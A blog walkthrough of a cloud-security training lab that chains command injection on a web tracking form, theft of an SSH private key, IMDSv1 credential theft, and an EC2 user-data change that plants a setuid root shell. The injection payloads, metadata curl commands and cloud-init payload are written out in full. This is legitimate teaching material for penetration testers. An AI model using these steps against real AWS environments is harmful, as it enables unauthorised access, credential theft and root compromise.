AWS Pentesting: EC2 User Data
In this blog, we will do a walkthrough on Pwnedlab’s “Command Injection to EC2 User Data Privilege Escalation” lab.
During engagement, we would normally check what are our permission to the EC2 instances to see if we can execute ( or other permissions) the EC2 ( even if we dont have direct credentials to the VMs). We can then explore this path for privilege escalation or for persistence ( if within scope).
One of the attack path in this scenario or test case is to modify the EC2 User Data as outlined in Hackingthe.cloud article.
User data refers to a script or set of commands that you can provide when launching an EC2 instance. This script runs automatically during the instance’s first boot and is often used to automate configuration tasks, install software, or perform other initialization steps
The idea is if we have permission to “modify-instance-attribute”- required permission”, “ec2:StopInstances”, “ec2:StartInstances”, “ec2:DescribeInstances” - ( so we can recon the EC2), we can stop the machine, modify User Data to run our payload (reverse connection to our C2, modify the creds of a user/add a user, etc), then start the machine.
After spinning up the lab, dont forget to download the Openvpn profile from the “Download VPN” link, transfer and use it in your testing machine.
aws configure --profile <profile name>
aws sts get-caller-identity --profile <profile name>
Running the command above, we can see that we are running as an AWS IAM user ryan. Lets take note of the account ID.
Lets recon for any attached user policy using the “list-attached-user-policies” command.
aws iam list-attached-user-policies --user-name ryan --profile <profile name>
We can see a policy named Compute with this ARN, arn:aws:iam::678756327269:policy/Compute.
Lets run the “get-policy” command to get the details of the policy. The image below shows that its running the v1 of the policy.
aws iam get-policy --policy-arn arn:aws:iam::<account number>:policy/Compute --profile <profile name>
Lets run the “get-policy-version” command to get more details on the version of the policy. We can see in the output below that “ec2:DescribeInstances” permission is allowed for our user. This is the only permission we have so far for EC2.
aws iam get-policy-version --policy-arn arn:aws:iam::<account id>:policy/Compute --version-id v1 --profile <profile name>
Lets then run the “describe-instances” to describe “ pun intended” the EC2 instance available in the AWS Account in this specific or default region ( in this case its “us-west-2” region). Remember, resources such as EC2 are region specific, unlike IAM which is global.
aws ec2 describe-instances --profile <profile name>
#We can filter the command to get only the PrivateIpAdress value by:
aws ec2 describe-instances --query 'Reservations[*].Instances[*].PrivateIpAddress' --output json --profile <profile name>
Running a quick Nmap on this host shows that port 80 and 22 are open.
nmap -Pn <target IP>
Visiting the IP in a browser shows a web site that is mostly static, however the “Tracking” function seems to be dynamic.
Entering a random tracking number results in the user provided input being rendered on the page.
After getting hints from the name of this lab, we know that this app is possibly vulnerable to Command Injection. See the definition of Command Injection below, directly quoted from OWASP.
“Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.” — OWASP.
Running $(whoami&&id&&pwd), confirms the vulnerability.
Lets then run $(cat /etc/passwd) to get the details of the non default users configured in this host. The image below shows that we have a user named “ryan”
Continuing with the recon using the following commands below shows that there is a SSH keys under /file_backupds/ folder
$(ls)
$(ls /)
$(ls /file_backups/)
The following commands show us retrieving the SSH keys. The format is broken so we need to run ‘$(cat /file_backups/id_rsa | base64 -w0)” to convert it to base64.
$(cat /file_backups/id_rsa)
$(cat /file_backups/id_rsa | base64 -w0)
Add “==”to the end of the base64 string, as recommended by Pwnedlabs to complete string.
Then run the command echo <base64> | base64 -d > id_rsa to save the key locally.
echo <base64> | base64 -d > id_rsa
Modify the permission of the key by running “chmod 400 id_rsa” then, connect to the host via SSH.
chmod 400 id_rsa
ssh -i id_rsa ryan@<target ip>
The very first thing that I would run when I am in an EC2 instance is to check the instance metadata service or IMDS. I would check if IMDS is running v1 or v2. If its running v1, I would include it in the report. As a best practice, EC2 instances should run IMDSv2.
For the explanation of IMDS v1 and v2 and how to validate them, refer to this link.
The image below shows that this EC2 is running IMDS v1.
Running curl 169.254.169.254/latest/meta-data/iam/security-credentials/ shows that there is a user named “ComputeAdmin”. Just browse the ComputeAdmin to get the AWS temporary token.
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
curl 169.254.169.254/latest/meta-data/iam/security-credentials/ComputeAdmin
Lets use this credential using the command below. As you can see, I like to put all the credentials I get in different profiles :)
The command above shows that we are now running as “ComputeAdmin” user.
Lets run “list-attached-role-policies” command to check for the role policies for this new user. We can see below a policy that is also named “ComputeAdmin”
aws iam list-attached-role-policies --role-name ComputeAdmin --profile <profile name>
Lets get the latest version of the policy by running “get-policy” command. The output below shows its v1. We can also check all the version available using “list-policy-versions” if we want.
aws iam get-policy --policy-arn arn:aws:iam::<account id>:policy/ComputeAdmin --profile <profile name>
Get the specific details of this version by running “get-policy-version”
aws iam get-policy-version --policy-arn arn:aws:iam::<account id>:policy/ComputeAdmin --version-id v9 --profile <profile name>
The output below shows that our new user has DescribeInstances; StartInstances, StopInstances; and the most important , ModifyInstanceAttribute permissions on EC2. We can then use this for possible privilege escalation.
Below is an example of User Data script. In the example script below, we include commands to create a copy of the root-owned binary /bin/sh and set the setuid bit, enabling the binary to execute with root privileges. This one of the ways to perform privilege escation in Linux.
We will then save this script in our local/pentest machine.
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
cp /bin/sh /home/ryan/suid
chmod u+s /home/ryan/suid
--//
nano userdata.txt #We saved the script above and named it as "userdata.txt"
cat userdata.txt
base64 userdata.txt > userdata.b64.txt #This encodes in base64 the userdata.txt script
cat userdata.b64.txt
Before we can modify the User Data, the EC2 instance must be stopped. As you can imagine this is quite intrusive so before launching this test case make sure to discuss this with the client.
When stopping, modifying, and restarting an EC2 instance, we need to know the — instance-id . In our scenario, we can get the instance-Id within the VM( while logged in via SSH) using the command below.
curl http://169.254.169.254/latest/meta-data/instance-id
Stop the instance using the command below:
aws ec2 stop-instances --instance-id <INSTANCE_ID> --profile ec2
Modify the User Data of the instance. In addition to the instance ID, we also need the attribute and its value (the file’s location path).
aws ec2 modify-instance-attribute --instance-id=<INSTANCE_ID> --attribute userData --value file://userdata.b64.txt --profile <profile name>
Next, start the instance using the command below:
aws ec2 start-instances --instance-id <INSTANCE_ID> --profile ec2
Lets then check the internal IP of the target instance.
aws ec2 describe-instances --query 'Reservations[*].Instances[*].PrivateIpAddress' --output json --profile <profile name>
or
aws ec2 describe-instances -instance-ids <INSTANCE_ID> --query 'Reservations[*].Instances[*].PrivateIpAddress' --output json --profile <profile name>
As a final steps of this lab, log in again via SSH to the target instance. Verify your permissions. Attempt to escalate privileges on the Linux box using the ./suid -p command, and then recheck your permissions to confirm the escalation.
ssh -i id_rsa ryan@<target ip>
id&&whoami
./suid -p
id&&whoami
As mentioned in the hackingthe.cloud article, In scenarios where the “User Data” script itself cant be modified , we may be able to modify a resource called by the script. For example a script is downloaded by an S3 bucket, we may be able to modify and add our backdoor to it.
Conclusion:
In this lab, we performed a walkthrough on Pwnedlab’s “Command Injection to EC2 User Data Privilege Escalation” lab where we had hands-on on Command Injection web app vulnerability, and the things when can do with User Data when we have ModifyInstanceAttribute permission to EC2.
Reference:
https://pwnedlabs.io/labs/command-injection-to-ec2-user-data-privilege-escalation
https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html
https://docs.aws.amazon.com/cli/latest/reference/ec2/modify-instance-attribute.html#:~:text=Modifies%20the%20specified%20attribute%20of,has%20more%20than%20one%20ENI.